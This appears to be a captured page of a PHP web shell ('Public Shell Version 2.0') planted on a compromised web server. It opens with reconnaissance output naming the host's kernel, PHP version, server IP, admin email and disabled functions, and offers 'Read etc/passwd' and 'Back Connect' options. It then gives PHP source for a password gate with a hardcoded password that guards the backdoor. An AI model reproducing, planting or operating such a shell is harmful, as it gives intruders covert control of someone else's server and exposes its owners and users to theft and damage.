Disable Functions: passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source,highlight_file |
Uname : Linux ispc 6.2.16-3-pve #1 SMP PREEMPT_DYNAMIC PVE 6.2.16-3 (2023-06-17T05:58Z) x86_64PHP Version : 5.2.6-1+lenny16Server Admin : webmaster@zednictvi-stastny.euServer IP : 109.105.49.240 Your IP : 52.14.230.29Safe Mode : Safe Mode is OFFRead etc/passwd : Disabled Functions : PHP INFO
Back Connect
';
Public Shell Version 2.0
<?php
class protector{
// EDIT PASSWORD HERE
var $password = 'Sta326Uh';
function showLoginForm(){
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<meta name="generator" content="PSPad editor, www.pspad.com">
<LINK href="css/styles.css" type="text/css" rel="stylesheet">
<title></title>
</head>
<body>
<br>
<div id="container">
<form action="" method="post">
<center>
<label class="boldtextgreen">Zadejte heslo:
<input name="passwd" type="password" size="20" />
</label><br/>
<label>
<input type="submit" name="loginBtn" class="sbtn" value="Login" />
</label>
</center>
</form>
</div>
</body>
</html>
<?php
}
function login(){
$loggedin = isset($_SESSION['loggedin']) ? $_SESSION['loggedin'] : false;
if ( (!isset($_POST['loginBtn'])) && (!($loggedin))){
$_SESSION['loggedin'] = false;
$this->showLoginForm();
exit();
} else if (isset($_POST['loginBtn'])) {
$pass = isset($_POST['passwd']) ? $_POST['passwd'] : '';
if ($pass != $this->password) {
$_SESSION['loggedin'] = false;
$this->showLoginForm();
exit();
} else {
$_SESSION['loggedin'] = true;
}
}
}
}
// Auto create
session_start();
$protector = new protector();
if ($protector->password != '') {
$protector->login();
}
?>
Public Shell Version 2.0